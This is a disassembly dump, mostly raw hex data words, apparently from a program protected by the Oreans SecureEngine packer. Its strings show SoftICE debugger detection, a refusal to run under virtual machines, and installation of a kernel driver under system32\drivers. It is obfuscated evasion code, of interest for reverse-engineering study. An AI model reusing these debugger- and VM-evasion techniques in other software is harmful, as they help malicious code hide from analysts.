dd 8D064A9Fh, 4A9F8385h, 858D5006h, 64A9EEDh, 16850h, 95FF8000h
dd 64A9F93h, 858D046Ah, 64A9F87h, 6A046A50h, 13858D00h
dd 50064A9Fh, 9F83B5FFh, 95FF064Ah, 6482E69h, 1299BD83h
dd 0F000648h, 0C84h, 83B5FF00h, 0FF064A9Fh, 4A9F8F95h
dd 83B5FF06h, 0FF064A9Fh, 48322595h, 0C6C36106h, 480FF985h
dd 7685206h, 0FFADE47Bh, 4827C5B5h, 5595FF06h, 89064827h
dd 4A9F9385h, 0F985C606h, 5206480Fh, 2E00E568h, 0C5B5FF90h
dd 0FF064827h, 48275595h, 8F858906h, 0C6064A9Fh, 480FF985h
dd 35685206h, 0FFB9BF12h, 4827C5B5h, 5595FF06h, 89064827h
dd 482E6985h, 0F985C606h, 5206480Fh, 78103468h, 0C5B5FF98h
dd 0FF064827h, 48275595h, 25858906h, 0C6064832h, 480FF985h
dd 0D4685206h, 0FFC005DBh, 4827C5B5h, 5595FF06h, 89064827h
dd 48162185h, 5C1EEB06h, 535C2E5Ch, 454349h, 5C2E5C5Ch
dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 0B9C08B00h
dd 3908D8Ah, 1299BD83h, 75000648h, 35BD8309h, 6480Dh, 53501974h
dd 0FB8C08Bh, 89000004h, 4829B985h, 649D8D06h, 0FF064AA4h
dd 83585BD3h, 480D35BDh, 17740006h, 0FB85350h, 89000004h
dd 4829B985h, 539D8D06h, 0FF064AA1h, 8B585BD3h, 0CE8166CFh
dd 0C08BDC98h, 17159531h, 85C60648h, 6480FF9h, 0B860F43h
dd 60000000h, 31419589h, 0B70F0648h, 4E861DEh, 0FC000000h
dd 8BBC8E6Eh, 8F0F50CBh, 2, 448BCA8Bh, 8B660424h, 56008BCEh
dd 3E79BE66h, 2444895Eh, 14E904h, 473E0000h, 0AAD27B67h
dd 9A3F409Bh, 8E55CD3Ch, 2874B18Eh, 8B5874B7h, 481721B5h
dd 8D8B5106h, 6483269h, 0D5B5FF5Eh, 0F06480Eh, 128Bh, 0DE900h
dd 971C0000h, 84999964h, 26A1667Eh, 8D423D4Bh, 4838BA85h
dd 14E806h, 0F5820000h, 61272C6Ah, 4AE8B7ACh, 0A342A2FEh
dd 96A28AAFh, 0B70F8262h, 8D895EF1h, 6480DB1h, 0B529D0FFh
dd 6481165h, 0BE990h, 0EE640000h, 5C042912h, 0DB92C34Bh
dd 299050F0h, 480D4595h, 6A006A06h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 2E9BC356h
dd 66B169D1h, 8B3A91B9h, 482A39B5h, 0FF3D6806h, 22BAFA67h
dd 8126F74Ah, 1432404h, 6A0598h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 6B51A2C3h, 0FF763AD2h
dd 6AE606E6h, 95958B03h, 66064813h, 6ADE85BEh, 99B58900h
dd 29064809h
dd 4803E58Dh, 68036A06h, 4277439Dh, 481CB8Bh, 88BC6324h
dd 0FFBF0F7Dh, 0A5CA9D8Dh, 94B9064Ah, 0B916C391h, 18748C19h
dd 8A605093h, 616160F8h, 8B66505Ah, 6A93D6h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 95DE9BC3h
dd 0FA5E8479h, 8E9F0B0h, 88000000h, 5EB00843h, 0FF66EA4Eh
dd 1BEA80D0h, 78850F40h, 81000003h, 0C90176F6h, 0BF0F5800h
dd 0B4BE50F9h, 894AC071h, 0A8BF2404h, 6A513EDCh, 0FA0FBE00h
dd 958933D0h, 6480D15h, 4E8h, 8000h, 7E800h, 4FF20000h
dd 1C7B9926h, 2427BE88h, 505A5CB2h, 48A0Fh, 0B9660000h
dd 448BD8B1h, 52500424h, 0F525060h, 61585A31h, 585A310Fh
dd 36B1008Bh, 4244489h, 11E8h, 0F334AB00h, 0DA9E1FF8h
dd 0A2E8DF6Ch, 77CA353Ch, 0FE8B1F3Eh, 8166585Eh, 89237BCEh
dd 482F819Dh, 6A036A06h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 0C8BCC357h, 599D012Dh
dd 6A064827h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 863ECCD5h, 2915B93Ch, 6A036A65h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 0E1A7C357h, 4E8h, 0
dd 0FFB966C0h, 0CC8A5028h, 424448Bh, 0FE9008Bh, 0DE000000h
dd 908B1336h, 0F54234ACh, 1D48352Ah, 4489E9C5h, 890F0424h
dd 0Dh, 0A6BF5250h, 0F28D79Ch, 5AF18B31h, 0BF665858h, 9D8D44A0h
dd 64AA5D3h, 0D558589h, 0B1930648h, 63B2501Fh, 0E9B50393h
dd 0FF06480Eh, 8E9D0h, 0E7C60000h, 7B1EEC61h, 0F40ED1Bh
dd 20E85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1C04h, 0C3524200h, 0EBF114DEh, 0AA096F40h, 0BE820h
dd 4200000h, 8D1E66E5h, 0CC306876h, 0CE98Bh, 0B5770000h
dd 52DA5C65h, 632CE645h, 89593158h, 480709B5h, 0F565806h
dd 68Dh, 818D2B00h, 5E06480Fh, 0CE950h, 55770000h, 0C4CB9080h
dd 9F2F35EBh, 489BF9Ch, 50006A24h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 0D6047B61h, 6AE026F4h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 0F3C1F14Ah, 0BD33BEF7h, 6482B91h, 0E999501h
dd 4E80648h, 80000000h, 0E9000000h, 7, 0DBCEF087h, 5039130Ch
dd 8BF18B66h, 60042444h, 0F54DBA60h, 0BB666EA1h, 0BB618804h
dd 3590870Bh, 0F008B61h, 380h, 0D78B6600h, 4244489h, 6058F88Bh
dd 0BF0FC68Bh, 36A61C9h, 13659589h, 6A0648h, 1800Fh, 6AF80000h
dd 0B8B0F03h, 0F000000h, 583h, 47BCB900h, 4E857F5h, 0
dd 8BC00000h, 448B50F7h, 6E90424h, 3F000000h, 327D2095h
dd 66008BAAh, 89148FBEh, 0F042444h, 584h, 0A9B0BE00h, 60583C90h
dd 10E9h, 0EF3FBB00h, 27A8528Fh, 0D85D2AEDh, 73C91CCAh
dd 0F18D8B29h, 6106480Ch, 0A5DE9D8Dh, 9529064Ah, 6482785h
dd 0F78B6650h, 0B1241C89h, 3D0FFCDh, 480EBDB5h, 850F4006h
dd 6Fh, 8D958960h, 61064810h, 55006A58h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0DB7AF828h
dd 14E8h, 9D049800h, 0FD9CE5BAh, 5E0AD0E8h, 0B738FEA0h
dd 49948C84h, 0B98589CAh, 5906482Ah, 113E9h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 1CD5383Ch, 8BFC9BC2h, 9E9D8h, 46F80000h, 6C45C03Fh
dd 503A92B0h, 2B41BD89h, 4B5E0648h, 0DB58958h, 0C6064818h
dd 480FF985h, 0BD8B4306h, 6481791h, 0F1368768h, 8A52509Ah
dd 5A310FEEh, 24348158h, 5A877C20h, 0D5B5FFF8h, 8B06480Eh
dd 0BA858DD6h, 0E8064838h, 12h, 479CC7FFh, 5F1FFFA5h, 696F2017h
dd 0C664AE37h, 8166E092h, 5AF1E5C1h, 0FFF3BF0Fh, 8B6693D0h
dd 0BF6650F2h, 0B99368CEh, 0B1A30D1h, 2A5D8D8Bh, 0D0FF0648h
dd 70BDB966h, 72869D8Dh, 8D330648h, 64812F1h, 1B8h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0A78241D1h, 0C3CE6814h, 0F3BF0FE7h, 0F1C591BAh, 6AE3FF43h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 0B5A9C355h, 6E467967h, 0F87434EEh, 0FAB2C18Bh
dd 3211B58Bh, 0C08B0648h, 83CA8B66h, 481299BDh, 9750006h
dd 0D35BD83h, 74000648h, 8B535019h, 40FB8C0h, 85890000h
dd 6482FF9h, 0A4CB9D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h
dd 50177400h, 40FB853h, 85890000h, 6482FF9h, 0A16C9D8Dh
dd 0D3FF064Ah, 9E8585Bh, 28000000h, 0F435DF7h, 0D5F3FF29h
dd 8CF6E281h, 8B5E7A16h, 6E8C0h, 0D50A0000h, 4BF756F6h
dd 1785B589h, 0F5B0648h, 68Fh, 2DB52B00h, 81064807h, 60F1C3h
dd 0EF816600h, 0B8232Fh, 80000000h, 34FF91CDh, 0FB8B6618h
dd 81EE8A5Ah, 0C452CFF2h, 218D8B7Dh, 8106481Ah, 41480EC2h
dd 4800F0Fh, 66000000h, 816A77B9h, 751F2F2h, 0F08B5213h
dd 8903048Fh, 4805898Dh, 18D8B06h, 83064816h, 12E904E8h
dd 0CF000000h, 4390C8A9h, 68DFEC50h, 0AC8EA3D3h, 270AAB9Ah
dd 9CF881FFh, 0FFFFF9Fh, 0FFFF9D85h, 0E9CB8BFFh, 99h, 6775622Fh
dd 63656863h, 2F00326Bh, 63677562h, 6B636568h, 6F662F00h
dd 72656372h, 2F006E75h, 63677562h, 6B636568h, 6C6C7566h
dd 68732F00h, 6F63776Fh, 2F006564h, 776F6873h, 65646F63h
dd 632F0032h, 74726Ch, 7369642Fh, 732F0031h, 69776F68h
dd 6174736Eh, 65636Eh, 7465672Fh, 74736C77h, 73757461h
dd 6F6C2F00h, 61747367h, 737574h, 6D75642Fh, 61747370h
dd 737574h, 0
aCheckprotectio db '/checkprotection',0
align 4
dd 0F7BD8300h, 64AADh, 0A840Fh, 85C70000h, 6480D35h, 1
dd 0FF985C6h, 68470648h, 372AADABh, 0E2240481h, 0FF5942BEh
dd 480ED5B5h, 0BA858D06h, 0FF064838h, 8BD0FFD0h, 223F80F8h
dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h
dd 31B84h, 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h
dd 30384h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
dd 3F80FFFFh, 5850F00h, 0E9000000h, 2E0h, 1E9h, 3F804700h
dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C3E9h, 0AE800h
dd 0CBE90000h, 0E9FFFFFFh, 2B4h, 0AD77B58Dh, 25E8064Ah
dd 3000002h, 4AAE0CBDh, 0CBD8306h, 64AAEh, 0B840Fh, 85C70000h
dd 6481299h, 1, 82B58DC3h, 0E8064AADh, 1FCh, 0AE0CBD03h
dd 0BD83064Ah, 64AAE0Ch, 0B840F00h, 0C7000000h, 480D3585h
dd 106h, 0B58DC300h, 64AADFBh, 1D3E8h, 0CBD0300h, 83064AAEh
dd 4AAE0CBDh, 840F0006h, 0Bh, 2A0585C7h, 10648h, 8DC30000h
dd 4AAD8CB5h, 1AAE806h, 0BD030000h, 64AAE0Ch, 0AE0CBD83h
dd 0F00064Ah, 0B84h, 3585C700h, 106480Dh, 0C3000000h, 0AD96B58Dh
dd 81E8064Ah, 3000001h, 4AAE0CBDh, 0CBD8306h, 64AAEh, 15840Fh
dd 85C70000h, 6480D35h, 1, 129985C7h, 10648h, 8DC30000h
dd 4AADA4B5h, 14EE806h, 0BD030000h, 64AAE0Ch, 0AE0CBD83h
dd 0F00064Ah, 0A84h, 0C185C700h, 1064815h, 8D000000h, 4AADAEB5h
dd 126E806h, 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah
dd 0A84h, 0C185C700h, 1064815h, 8D000000h, 4AADB9B5h, 0FEE806h
dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah, 0A84h
dd 2985C700h, 1064804h, 8D000000h, 4AADBFB5h, 0D6E806h
dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah, 0A84h
dd 0B185C700h, 1064816h, 8D000000h, 4AADC5B5h, 0AEE806h
dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah, 0A84h
dd 0A185C700h, 106480Ah, 8D000000h, 4AADD3B5h, 86E806h
dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah, 0A84h
dd 5985C700h, 106481Ch, 8D000000h, 4AADE0B5h, 5EE806h
dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah, 0A84h
dd 6D85C700h, 106480Dh, 8D000000h, 4AADEBB5h, 36E806h
dd 0BD030000h, 64AAE0Ch, 0AE0CBD83h, 0F00064Ah, 0A84h
dd 7185C700h, 1064829h, 0E9000000h, 1, 203F8047h, 9840Fh
dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
dd 1CE9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 5840Fh
dd 0B90000h, 46000000h, 3E8047h, 8840Fh, 0C90B0000h, 0FFD3850Fh
dd 0C90BFFFFh, 21840Fh, 3F800000h, 9840F00h, 80000000h
dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h
dd 2B000000h, 0CB589F3h, 0E9064AAEh, 0Ah, 0AE0C85C7h, 64Ah
dd 0C3610000h, 0EE9C88Bh, 33000002h, 6E6E6143h, 7720746Fh
dd 65746972h, 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh
dd 75732065h, 74206572h, 20746168h, 73696874h, 6C696620h
dd 73692065h, 746F6E20h, 69656220h, 7520676Eh, 20646573h
dd 61207962h, 68746F6Eh, 70207265h, 72676F72h, 2E6D61h
dd 67h dup(0)
dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
dd 0EFE900h, 85C60000h, 6480FF9h, 5B866847h, 0B5FFE3E4h
dd 6480ED5h, 38BA858Dh, 0D0FF0648h, 10468h, 8D9D8D00h
dd 53064818h, 8D50D0FFh, 4AB382B5h, 32FE8B06h, 850FAEC0h
dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 480FF985h
dd 0FC684306h, 0FFBC8E6Eh, 480ED5B5h, 0BA858D06h, 0FF064838h
dd 8DB58DD0h, 6A064818h, 806800h, 26A0000h, 6A006Ah, 68h
dd 0D0FF56C0h, 85C6D88Bh, 6480FF9h, 0EE566857h, 0B5FFA69Bh
dd 6480ED5h, 38BA858Dh, 0D0FF0648h, 0BBDBD8Dh, 8D8D0648h
dd 64AB4A8h, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh
dd 0B18AB58Dh, 858D064Ah, 64A9DC7h, 8D8DD0FFh, 6487286h
dd 0B8h, 0C6E1FF00h, 480FF985h, 0A7684306h, 0FFC0764Ah
dd 480ED5B5h, 0BA858D06h, 0FF064838h, 0D0FF53D0h, 37D0B9C3h
dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h
dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
dd 4000h, 8 dup(0)
dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
dd offset dword_450050+4BB0h
dd 0
dd 4000200h, 0
dd 3800000h, 1400h, 4 dup(0)
dd 20000h, 1C000h, 9000h, 0
dd 7E00h, 0
dd 0C400h, 100h, 0DC00h, 3 dup(0)
dd 12C00h, 13800h, 2 dup(0)
dd 14200h, 19600h, 1D200h, 0
dd 1D200h, 0
dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
dd 27C004h, 0
dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h
dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
dd 300h, 0
dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
dd 16B0007h, 277101h, 360h dup(0)
dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h
dd 9C3h dup(0)
dd 1BE88300h, 7309F883h, 8524FF07h, 0
dd 0C3F8h, 8 dup(0)
dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh
dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10A9E900h, 44410000h
dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
aOreans32_sys db 'oreans32.sys',0
align 4
dd 0
dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot db 'SYSTEMROOT',0
aSSystem32Drive db '%s\system32\drivers\%s',0
aSSyswow64Drive db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0
align 4
dd 48h dup(0)
dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
dd 72676F72h, 2E6D61h, 59h dup(0)
dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0)
dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0)
dd 10000000h, 0
dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
dd 21h dup(0)
dd 8B000000h, 8921B5C4h, 480A3185h, 0BFBF6606h, 89C08B9Bh
dd 48270D85h, 3ABF6606h, 99BD83AAh, 64812h, 0BD830975h
dd 6480D35h, 50197400h, 0B8C08B53h, 43Dh, 29B98589h, 9D8D0648h
dd 64AA464h, 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h
dd 43Dh, 29B98589h, 9D8D0648h, 64AA153h, 585BD3FFh, 9DBD0B50h
dd 5A064832h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 71C35646h, 0C458589h, 81660648h, 8BD4C1EFh, 6860FC0h
dd 23000000h, 480C2595h, 0B9C08B06h, 0AFDEFE2h, 1299BD83h
dd 75000648h, 35BD8309h, 6480Dh, 53501374h, 0B8C08Bh, 8D000000h
dd 4AA3069Dh, 5BD3FF06h, 35BD8358h, 6480Dh, 53501174h
dd 0B8h, 0B79D8D00h, 0FF064AA1h, 60585BD3h, 1611858Bh
dd 0BD890648h, 6483279h, 719D0161h, 8B064827h, 558D33C0h
dd 8B064814h, 118509C0h, 2B06480Ch, 480AD58Dh, 99BD8306h
dd 64812h, 0BD830975h, 6480D35h, 50137400h, 0B8C08B53h
dd 0
dd 0A2389D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50117400h
dd 0B853h, 9D8D0000h, 64AA185h, 585BD3FFh, 5870Fh, 81660000h
dd 0F821FE1h, 158Fh, 0B5896000h, 6480C1Dh, 7E8h, 97264500h
dd 0DCD765FEh, 0C08B615Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 0C5C35242h, 0EF22E261h, 0B75B66C8h, 14E951h
dd 74890000h, 0C2988D60h, 9DDCEC3Fh, 96298442h, 283A045Fh
dd 0C08B9F0Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 0FBC35545h, 0E15A6A33h, 1299BD83h, 75000648h, 35BD8309h
dd 6480Dh, 53501374h, 0B8C08Bh, 8D000000h, 4AA29F9Dh, 5BD3FF06h
dd 35BD8358h, 6480Dh, 53501174h, 0B8h, 9E9D8D00h, 0FF064AA1h
dd 52585BD3h, 0B030BA66h, 0DE959h, 60D60000h, 0D6403CDFh
dd 2F53D318h, 0E92FFD8Dh, 14h, 0F1963367h, 41FBD675h, 0F0D5B404h
dd 628F7FECh, 0E90A2D41h, 8166C08Bh, 8B5FC5E2h, 0F1BD8BC0h
dd 6606482Eh, 0BD83FB8Bh, 6481299h, 83097500h, 480D35BDh
dd 13740006h, 0C08B5350h, 0B8h, 0D19D8D00h, 0FF064AA1h
dd 66585BD3h, 6685E4B9h, 0BFABD981h, 0BA66C08Bh, 0C08B0662h
dd 23A5BD8Bh, 0BD830648h, 6481299h, 83097500h, 480D35BDh
dd 19740006h, 0C08B5350h, 7D0B8h, 0B9858900h, 8D064829h
dd 4AA4649Dh, 5BD3FF06h, 35BD8358h, 6480Dh, 53501774h
dd 7D0B8h, 0B9858900h, 8D064829h, 4AA1539Dh, 5BD3FF06h
dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 3CF64B81h, 91D6DF81h, 3CB25E16h, 9529C08Bh
dd 64827BDh, 0FF985C6h, 6A530648h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 1145C350h
dd 59CAAF63h, 9068E17Eh, 6699395Fh, 0FE9CF8Bh, 3D000000h
dd 35B4A45Bh, 9B1780B2h, 0D5F50F3Fh, 0B5FF3E57h, 6480ED5h
dd 0D05BD8Bh, 9D290648h, 648275Dh, 38BA858Dh, 0FA8B0648h
dd 9D31D0FFh, 64815D9h, 0E718589h, 0FE90648h, 0C6000000h
dd 13FF8928h, 451F85A2h, 0BDD9F921h, 85C6246Ah, 6480FF9h
dd 0D1816657h, 78B6E5B9h, 4520668h, 0FFE88A90h, 480ED5B5h
dd 0BE906h, 0B8910000h, 751DB882h, 4A15908Ah, 0BA858D19h
dd 8B064838h, 480871BDh, 66D0FF06h, 7002C281h, 10D98589h
dd 85C60648h, 6480FF9h, 2820F43h, 8B000000h, 702868CAh
dd 6ABC90h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 204320C3h, 4992795Bh, 26CA8108h, 0FF65BDA1h
dd 480ED5B5h, 0EDB58906h, 0E906481Ah, 7, 0B773AF22h, 8DEA93D9h
dd 4838BA85h, 11E906h, 71ED0000h, 830A3F30h, 66C00A6Ah
dd 5F5BFC3h, 0FFF651A7h, 0BF0FF8D0h, 0E98589FFh, 89064812h
dd 480E0D9Dh, 0F985C606h, 4C06480Fh, 68A0Fh, 9D890000h
dd 648331Dh, 0DA1CE968h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 0BD73A3Dh, 93237C17h
dd 0ED5B5FFh, 0B5010648h, 648021Dh, 38BA858Dh, 0CF8B0648h
dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
dd 56460000h, 0B2BC50C3h, 295AD161h, 4805F9BDh, 0ED858906h
dd 1064819h, 4809399Dh, 0F985C606h, 4606480Fh, 11E9h, 4DC07700h
dd 6C08BFE0h, 8F7A8425h, 5F520437h, 146869A0h, 80BADE06h
dd 0B5FF9CE9h, 6480ED5h, 16F99509h, 8DF50648h, 4838BA85h
dd 12E96006h, 5F000000h, 13626145h, 7B52A837h, 8646E1DFh
dd 727BC774h, 0FF61F90Fh, 0CBBF0FD0h, 28898589h, 3CBF0648h
dd 8B4689C0h, 4821D995h, 0F985C606h, 4706480Fh, 30DDBD8Bh
dd 0E2680648h, 6A8A0FB5h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 66C4C350h, 0FFCB8A1Fh
dd 480ED5B5h, 0CA8A5206h, 0BA858D5Fh, 8B064838h, 482FE195h
dd 89D0FF06h, 482B2985h, 1D858906h, 31064809h, 4830F5BDh
dd 0F985C606h, 4706480Fh, 8E9h, 0BE668500h, 0B8B5C0CFh
dd 0B5F36866h, 0D28183D0h, 60C2CC5Fh, 0ED5B5FFh, 870F0648h
dd 0
dd 38BA858Dh, 810F0648h, 6, 3D9B529h, 0D0FF0648h, 68F0Fh
dd 0BD890000h, 6480B9Dh, 32A58589h, 8B660648h, 0F985C6D6h
dd 7706480Fh, 5263B966h, 97A8A368h, 53006AF3h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 4870FCCh, 66000000h
dd 0FF72B1B9h, 482F2DB5h, 0EDBD2B06h, 8D064812h, 4838BA85h
dd 21BD8B06h, 0FF064807h, 50006AD0h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 195297Ch, 89064823h
dd 48286185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 8D508A35h, 3880F08h, 0F000000h, 85C6D3BFh
dd 6480FF9h, 0E7C18147h, 687D323Dh, 8728FAF6h, 3FF28166h
dd 0C28166D9h, 0B5FF40BAh, 6480ED5h, 6E9h, 0D42C7100h
